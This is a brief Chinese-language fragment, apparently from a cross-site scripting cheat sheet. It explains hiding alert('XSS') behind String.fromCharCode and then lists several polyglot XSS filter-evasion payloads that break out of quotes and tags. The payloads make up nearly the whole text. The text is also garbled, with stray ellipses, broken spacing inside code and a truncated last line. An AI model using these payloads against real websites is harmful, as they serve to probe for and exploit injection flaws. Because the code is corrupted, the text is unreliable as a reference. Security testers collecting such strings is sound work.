方法将ASCII转换为字符串
# 利用String.fromCharCode方法将 alert("XSS"); 转换为
String.fromCharCode(97, 108,...(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert...(String.fromCharCode(88,83,83))//-- >">'>alert(String.fromCharCode(88,83,83))
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode...(88,83,83))
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))/